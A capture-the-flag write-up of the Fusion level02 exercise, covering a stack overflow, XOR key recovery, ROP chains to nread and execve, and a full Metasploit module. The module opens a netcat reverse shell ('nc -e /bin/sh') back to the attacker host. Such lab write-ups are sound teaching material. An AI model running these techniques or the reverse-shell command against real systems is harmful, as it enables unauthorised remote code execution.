Fusion level02 write up

07 May 2015

Fusion level02 is considerably more challenging than the previous two levels. This post details my thought process and steps involved in writing the exploit and developing a Metasploit module.

Table of Contents

Bug Analysis


The server accepts messages of two types, an encrypt message and a quit message. The quit message is a single character ‘Q’. The encrypt message is a type-length-value (TLV) format.

| 'E' | length | data |

The program stores the data from the encryption message into a fixed size buffer. The length specified in the message is how many bytes are copied.

unsigned char buffer[32 * 4096]
... snip ...
nread(0 , &sz, sizeof(sz));
nread(0, buffer, sz);

A stack buffer overflow occurs if the message has a bigger size than the buffer. Specifially a length greater than 32*4096. The overflow will overwrite the return address of the encrypt_file function frame. Note that the data is encrypted before return address is used.

Building The Client


The server is listening for commands on port 20002:

root@fusion:~# lsof -i
COMMAND     PID     USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
...snip...
level02    1479    20002    3u  IPv4  12273      0t0  TCP *:20002 (LISTEN)
...snip...

Create an empty Metasploit module and update the register_options array with the IP of your local fusion VM. I used the following path:

The Ruby recv method accepts a maximum length of bytes, but the client needs to read in all data before trying to send a message. below is a buffered recv that will keep reading data until the full message is consumed. I created a second convenience function to send the encrypt command.

def buffered_recv(size)
  data = ""
  new_data = ""
  size_to_receive = size
  while(data.length < size) do
    new_data = sock.recv(size_to_receive)
    size_to_receive -= new_data.length
    data += new_data
  end
  data
end

def encrypt(len, data)
  buffer = "E" + [len].pack('L') + data
  sock.put(buffer)
  msg = buffered_recv(124)
  enc_data = buffered_recv(len)
  return enc_data
end

Fill the exploit method to send an encrypt command then quit.

def exploit
  # Open the TCP connection
  connect

  # Receive initial messages
  buffered_recv(57)

  # Send some data to be encrypted
  data = "A" * 256
  encrypted_data = encrypt(data.length, data)
  print_status("Encrypted data: #{encrypted_data.inspect}")

  # Send the quit command
  sock.put('Q')
  disconnect
end

The module successfully encrypts some data.

msf exploit(level02) > exploit

[*] Started reverse handler on 192.168.1.37:4444
[*] Encrypted data: "\xEC\xF20\xDB\x88Ml\xA4\x055\xA3\xB3\x95\xAC\xA2z\xE5\xFF\xE0\xCE>-Ak\xC6\x1A\x8C M\x19O\xF7\xB9\xCB\x9E\xE6\a\xE2\xFE\xC6\x9D\x1D^-\xF4\xAD\xCA\xECQ\xEFT\x8C\xD2\x8E\xA1&\xE9i7\xC2\xC97\x84lW\x0F\x80\xA3^Z\x1FG\x12\"\xF7\xDE\x986\xF2'\xCF3a\xA719\xCB)\x9B\xE8\xA6\xB5\x10\xFD-\xBF\xFAy1\x9A\x0FkGK\x8B\xF0\xF5z\x0F\x19\xF8v\x8F\xE2\x86\xC0F\xC8\xF7\x06\xFFpUF\x90\x05\xBA}\xEC\xF20\xDB\x88Ml\xA4\x055\xA3\xB3\x95\xAC\xA2z\xE5\xFF\xE0\xCE>-Ak\xC6\x1A\x8C M\x19O\xF7\xB9\xCB\x9E\xE6\a\xE2\xFE\xC6\x9D\x1D^-\xF4\xAD\xCA\xECQ\xEFT\x8C\xD2\x8E\xA1&\xE9i7\xC2\xC97\x84lW\x0F\x80\xA3^Z\x1FG\x12\"\xF7\xDE\x986\xF2'\xCF3a\xA719\xCB)\x9B\xE8\xA6\xB5\x10\xFD-\xBF\xFAy1\x9A\x0FkGK\x8B\xF0\xF5z\x0F\x19\xF8v\x8F\xE2\x86\xC0F\xC8\xF7\x06\xFFpUF\x90\x05\xBA}"

Retrieving The Key


The server uses a XOR cipher to encrypt the data. The key can be retrieved using the following three steps:

Before retrieving the key we will need to know the key size. Attach gdb to the server and print the size of the key buffer:

root@fusion:/home/fusion# gdb -q
(gdb) b *cipher
Breakpoint 1 at 0x8049735: file level02/level02.c, line 6.
(gdb) c
Continuing.
[New process 28738]
[Switching to process 28738]

Breakpoint 1, cipher (blah=0xbfa142ac 'A' <repeats 200 times>..., len=256) at level02/level02.c:6
6 level02/level02.c: No such file or directory.
(gdb) p keybuf
$1 = {0 <repeats 32 times>}
(gdb)

The encryption key is 32 integers long or 128 bytes.

Like the previous levels this program will fork a new process for each connection, make sure to enable follow-fork-mode child. While creating the exploit we will be attaching gdb many times,.gdbinit can save a lot of typing. I recommend adding the following lines:

root@fusion:/home/fusion# cat .gdbinit
source gdb-checksec.py
source gdb-pattern.py

set disassembly-flavor intel
set follow-fork-mode child

attach 1479
c

root@fusion:/home/fusion#

To perform the xor operation I created another convenience function:

def xor_encrypt(data, key)
  # Make sure key is the same length as the data
  while key.length < data.length do
    key += key
  end
  key = key[0..data.length-1]  

  data.unpack('C*').zip(key.unpack('C*')).map { |p, e| p ^ e}.pack('C*')
end

To prove we can retrieve the key we will send two sets of data to be encrypted, use the first to find the key, and decrypt the second set.

def exploit
  # Open the TCP connection
  connect

  # Receive initial messages
  buffered_recv(57)

  # Send some data to be encrypted
  data = "A" *128
  encrypted_data = encrypt(data.length, data)

  key = xor_encrypt(data, encrypted_data)

  # Send some other data to be encrypted
  data2 = "B" * 128
  encrypted_data2 = encrypt(data2.length, data2)

  # The following should print 128 B characters
  plaintext = xor_encrypt(encrypted_data2, key)
  print_status(plaintext)

  # Send the quit command
  sock.put('Q')
  disconnect
end

Execute the module:

msf exploit(level02) > reload
[*] Reloading module...
msf exploit(level02) > exploit

[*] Started reverse handler on 192.168.1.37:4444
[*] BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
msf exploit(level02) >

Success, we have leaked the key.

Creating the Proof Of Concept


How much data do we need to send to overwrite the return address in the encrypt_file frame?

This will be the distance between the start of the buffer and the return address of the encrypt_file frame. Using gdb we can subtract these two values:

root@fusion:/home/fusion# gdb -q
0xb7750424 in __kernel_vsyscall ()
(gdb) b *encrypt_file+3
Breakpoint 1 at 0x80497fa: file level02/level02.c, line 31.
(gdb) c
Continuing.
[New process 28911]
[Switching to process 28911]

Breakpoint 1, 0x080497fa in encrypt_file () at level02/level02.c:31
31  level02/level02.c: No such file or directory.
(gdb) i r $ebp
ebp            0xbfa342b8 0xbfa342b8
(gdb) x/1wx &buffer
0xbfa142ac: 0x00000000
(gdb) p/x (0xbfa342bc - 0xbfa142ac)
$1 = 0x20010
(gdb)

The return address is located 0x20010 bytes from the start of the buffer. Lets confirm by sending 0x20014 bytes of encrypted data.

def exploit
  # Open the TCP connection
  connect

  # Receive initial messages
  buffered_recv(57)

  # Recover the encryption key
  data = "A" *128
  encrypted_data = encrypt(data.length, data)
  key = xor_encrypt(data, encrypted_data)

  # Create enough data to cause a crash
  longdata = "A" * 0x20010
  longdata += [0xdeadbeef].pack('V')
  e = xor_encrypt(longdata, key)
  encrypt(e.length, e)

  # Send the quit command
  sock.put('Q')
  disconnect
end

Attach gdb, reload the exploit, and send it:

root@fusion:/home/fusion# gdb -q
0xb7750424 in __kernel_vsyscall ()
(gdb) c
Continuing.
[New process 29112]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29112]
0xdeadbeef in ?? ()
(gdb)

Confirmed we can control eip! Time to start the exploit!

Making a Plan


We have control of eip and can put arbitrary data on the stack, but NX is enabled.

(gdb) checksec
| NX  | PIE | Canary | Relro   | Path      
| Yes | No  | No     | No      | /opt/fusion/bin/level02
| Yes | Yes | Yes    | Partial | /lib/i386-linux-gnu/libc.so.6
| Yes | Yes | No     | Partial | /lib/ld-linux.so.2

To get around this protection we will use return oriented programming (ROP). ROPGadget is a fantastic tool to find rop gadgets. This tool found 126 gadgets in the level02 binary.

We can use execve to execute netcat and open a connect back shell. The execve function takes an array of string pointers as an argument. Therefore We must have a number of strings at known memory locations. We can store data from the socket at an arbitrary location using nread. We will store this data in the bss section because it is not ASLR enabled, it is readble, and it is writable.

(gdb) maintenance info sections
Exec file:
    `/opt/fusion/bin/level02', file type elf32-i386.
    ...
    [25]     0x804b420->0x804b500 at 0x00002418: .bss ALLOC
    ...

Lets build a ROP chain to store arbitrary data as 0x0804b420

Note: Preferably we would execute a mprotect call to change the stack memory as executable, then execute an arbitrary payload. Unfortunately most of the gadgets are not very useful and I was not able to figure out a rop chain to execute mprotect.

First ROP chain - nread


We control the value of eip, lets set eip to execute the nread function, which is located:

(gdb) p *nread
$1 = {ssize_t (int, void *, size_t)} 0x804952d <nread>

The nread function will expect the stack to have a return address and 3 function arguments: a file descriptor to read from, a buffer to write data, and a length argument. Since we control the values on the stack we can put arbitrary values at these locations.

The fake stack frame will:

The fake stack frame is created like so:

def exploit
  # Open the TCP connection
  connect

  # Receive initial messages
  buffered_recv(57)

  # Recover the encryption key
  data = "A" *128
  encrypted_data = encrypt(data.length, data)
  key = xor_encrypt(data, encrypted_data)

  # Created enough data to cause a crash
  prejunk = "A" * 0x20010

  cmd = "A" * 32

  ropbuf = [0x0804952d].pack('V') # ret overwrite with addr of nread
  ropbuf += [0xdeadbeef].pack('I') # return of new frame
  ropbuf += [0x00000000].pack('I') # arg0: filedes
  ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
  ropbuf += [cmd.length].pack('I') # arg2: length

  buf = prejunk + ropbuf
  e = xor_encrypt(buf, key)
  encrypt(e.length, e)

  # Send the quit command
  sock.put('Q')

  # Send extra data for the rop chain to read
  sock.put(cmd)

  disconnect
end

Attach gdb, reload the module, and send it:

root@fusion:/home/fusion# gdb -q
0xb7750424 in __kernel_vsyscall ()
(gdb) c
Continuing.
[New process 29413]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 29413]
0xdeadbeef in ?? ()
(gdb) x/s 0x0804b420
0x804b420 <environ@@GLIBC_2.0>: 'A' <repeats 32 times>
(gdb)

Confirmed the rop chain executed, wrote the data, and returned to our controlled address.

At the time of the crash the next 12 bytes on the stack are from the rop chain just executed.

0xdeadbeef in ?? ()
(gdb) x/4wx $esp
0xbfa342c4: 0x00000000  0x0804b420  0x00000020  0xb773fff4
(gdb)

To get a clean stack back return to a pop;pop;pop;ret gadget, one exists at 0x08048f85

The rop chain becomes

ropbuf = [0x0804952d].pack('V') # addr of nread
ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop;ret
ropbuf += [0x00000000].pack('I') # arg0: filedes
ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
ropbuf += [data.length].pack('I') # arg2: length

# Place holder for next rop chain
ropbuf += [0xdeadbeef].pack('V')

Attach gdb, reload the exploit, run it again and we crash on 0xdeadbeef again with a clean stack!

Setting up the execve frame


We can read in arbitrary data to 0x0804b420, but what data is required to fake the execve frame?

execve takes 3 arguemnts:

The full command to execute is: $ /bin/nc.traditional -e /bin/sh 192.168.1.37 4444. This means reading in:

Incase the length of the IP and port strings change we will read in the pointer data first, then the strings.

def exploit
  # Open the TCP connection
  connect

  # Receive initial messages
  buffered_recv(57)

  # Recover the encryption key
  data = "A" *128
  encrypted_data = encrypt(data.length, data)
  key = xor_encrypt(data, encrypted_data)

  # Created enough data to cause a crash
  prejunk = "A" * 0x20010

  cmd = "/bin/nc.traditional"
  null = "\000"
  args = [cmd, "-e", "/bin/sh", datastore['LHOST'], datastore['LPORT'].to_s]
  bss = 0x0804b420
  data = ""


  # Create each of the string pointers
  offset = 24 + cmd.length + 1 # 6 ptrs, the command, and a null
  args.each do |arg|
    data += [bss+offset].pack('V')
    offset += arg.length + 1
  end
  # Terminate the string pointers
  data += [0x00000000].pack('V')

  # The first argument of execve, the filename
  data += cmd + null

  # Create each of the argument strings
  args.each { |arg| data += arg + null }

  ropbuf = [0x0804952d].pack('V') # addr of nread
  ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop
  ropbuf += [0x00000000].pack('I') # arg0: filedes
  ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
  ropbuf += [data.length].pack('I') # arg2: length

  # Placeholder for second ROP chain
  ropbuf += [0xdeadbeef].pack('I') # return of new frame address

  buf = prejunk + ropbuf
  e = xor_encrypt(buf, key)
  encrypt(e.length, e)

  # Send the quit command
  sock.put('Q')

  # Send extra data for the rop chain to read
  sock.put(data)

  disconnect
end

Attach gdb, reload the exploit, and send it. Inspect the data is read in as expected:

root@fusion:/home/fusion# gdb -q
0xb7750424 in __kernel_vsyscall ()
(gdb) c
Continuing.
[New process 32663]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 32663]
0xdeadbeef in ?? ()
(gdb) x/6wx 0x0804b420
0x804b420 <environ@@GLIBC_2.0>: 0x0804b44c  0x0804b460  0x0804b463  0x0804b46b
0x804b430:  0x0804b478  0x00000000
(gdb) x/s 0x0804b44c
0x804b44c:  "/bin/nc.traditional"
(gdb) x/s 0x0804b460
0x804b460 <keyed.5339>: "-e"
(gdb) x/s 0x0804b463
0x804b463 <keyed.5339+3>: "/bin/sh"
(gdb) x/s 0x0804b46b
0x804b46b:  "192.168.1.37"
(gdb) x/s 0x0804b478
0x804b478:  "4444"
(gdb)

Excellent! All the arguments for the execve call are in place.

Second ROP chain - execve


The final step will be executing the execve function. The address of execve is 0x0804b3d8:

root@fusion:/home/fusion# objdump -R /opt/fusion/bin/level02 | grep execve
0804b3d8 R_386_JUMP_SLOT   execve

Luckily there is enough gadgets to pop this address into a register and call it as a pointer. The gadgets are:

pwf@ubuntu:~$ ROPgadget --binary level02
Gadgets information
============================================================
...
0x08048b13 : pop ebp ; ret
...
0x08049fe3 : call dword ptr [ebx]
...
Unique gadgets found: 126
pwf@ubuntu:~$

The second rop chain will be:

ropbuf += [0x08048818].pack('V') # pop ebx | ret
ropbuf += [0x0804b3d8].pack('V') # got entry for execve
ropbuf += [0x08049fe3].pack('V') # call ebx
ropbuf += [0x0804b438].pack('V') # addr of /bin/nc.traiditonal
ropbuf += [0x0804b420].pack('I') # addr of args
ropbuf += [0x00000000].pack('I') # null

Add the Metasploit handler method before disconnecting. Reload the module and execute it:

pwf@ubuntu:/opt/metasploit-framework$ ./msfconsole
[*] Starting the Metasploit Framework console...\
 _                                                    _
 / \    /\         __                         _   __  /_/ __
 | |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
 | | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
 |_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
       |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


=[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]
+ -- --=[ 1454 exploits - 809 auxiliary - 230 post        ]
+ -- --=[ 363 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/fusion/level02
msf exploit(level02) > set RHOST 192.168.1.141
RHOST => 192.168.1.141
msf exploit(level02) > exploit

[*] Started reverse handler on 192.168.1.37:4444
[*] Command shell session 1 opened (192.168.1.37:4444 -> 192.168.1.141:54918) at 2015-05-08 07:48:53 -0700

id
uid=20002 gid=20002 groups=20002

Success! The puzzle is solved :). Below the full Metasploit module:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Fusion level02 remote stack buffer overflow',
      'Description'    => %q{
                           This module exploits a stack buffer overflow in level02 of the
                           fusion exploit exercises.
                           },
      'Author'         => [ 'Philip OKeefe' ],
      'Version'        => '1',
      'DefaultOptions' =>
              {
                      'EXITFUNC' => 'process',
              },
      'Payload'        =>
              {
                      'Space'    => 788,
                      'BadChars' => "\x00",
                      'StackAdjustment' => -4000,
              },
      'Platform'       => 'linux',

      'Targets'        =>
              [
                      ['Linux', {} ],
              ],
      'DefaultTarget' => 0,

      'Privileged'     => false
      ))

      register_options(
      [
              Opt::RHOST("192.168.0.17"),
              Opt::RPORT(20002),
      ], self.class)
   end


  def encrypt(len, data)
    buffer = "E" + [len].pack('L') + data
    sock.put(buffer)
    msg = buffered_recv(124)
    enc_data = buffered_recv(len)
    return enc_data
  end

  def buffered_recv(size)
    data = ""
    new_data = ""
    size_to_receive = size
    while(data.length < size) do
      new_data = sock.recv(size_to_receive)
      size_to_receive -= new_data.length
      data += new_data
    end
    data
  end

  def xor_encrypt(data, key)
    # Make sure key is the same length as the data
    while key.length < data.length do
      key += key
    end
    key = key[0..data.length-1]  

    data.unpack('C*').zip(key.unpack('C*')).map { |p, e| p ^ e}.pack('C*')
  end


  def exploit
    # Open the TCP connection
    connect

    # Receive initial messages
    buffered_recv(57)

    # Recover the encryption key
    data = "A" *128
    encrypted_data = encrypt(data.length, data)
    key = xor_encrypt(data, encrypted_data)

    # Created enough data to cause a crash
    prejunk = "A" * 0x20010

    cmd = "/bin/nc.traditional"
    null = "\000"
    args = [cmd, "-e", "/bin/sh", datastore['LHOST'], datastore['LPORT'].to_s]
    bss = 0x0804b420
    data = ""


    # Create each of the string pointers
    offset = 24 + cmd.length + 1 # 6 ptrs, the command, and a null
    args.each do |arg|
      data += [bss+offset].pack('V')
      offset += arg.length + 1
    end
    # Terminate the string pointers
    data += [0x00000000].pack('V')

    # The first argument, the filename
    data += cmd + null

    # Create each of the argument strings
    args.each { |arg| data += arg + null }

    # ROP chain for nread
    ropbuf = [0x0804952d].pack('V') # addr of nread
    ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop
    ropbuf += [0x00000000].pack('I') # arg0: filedes
    ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
    ropbuf += [data.length].pack('I') # arg2: length

    # ROP chain for execve
    ropbuf += [0x08048818].pack('V') # pop ebx | ret
    ropbuf += [0x0804b3d8].pack('V') # got entry for execve
    ropbuf += [0x08049fe3].pack('V') # call ebx
    ropbuf += [0x0804b438].pack('V') # addr of /bin/nc.traiditonal
    ropbuf += [0x0804b420].pack('I') # addr of args
    ropbuf += [0x00000000].pack('I') # null

    buf = prejunk + ropbuf
    e = xor_encrypt(buf, key)
    encrypt(e.length, e)

    # Send the quit command
    sock.put('Q')

    # Send extra data for the rop chain to read
    sock.put(data)

    handler
    disconnect
  end
end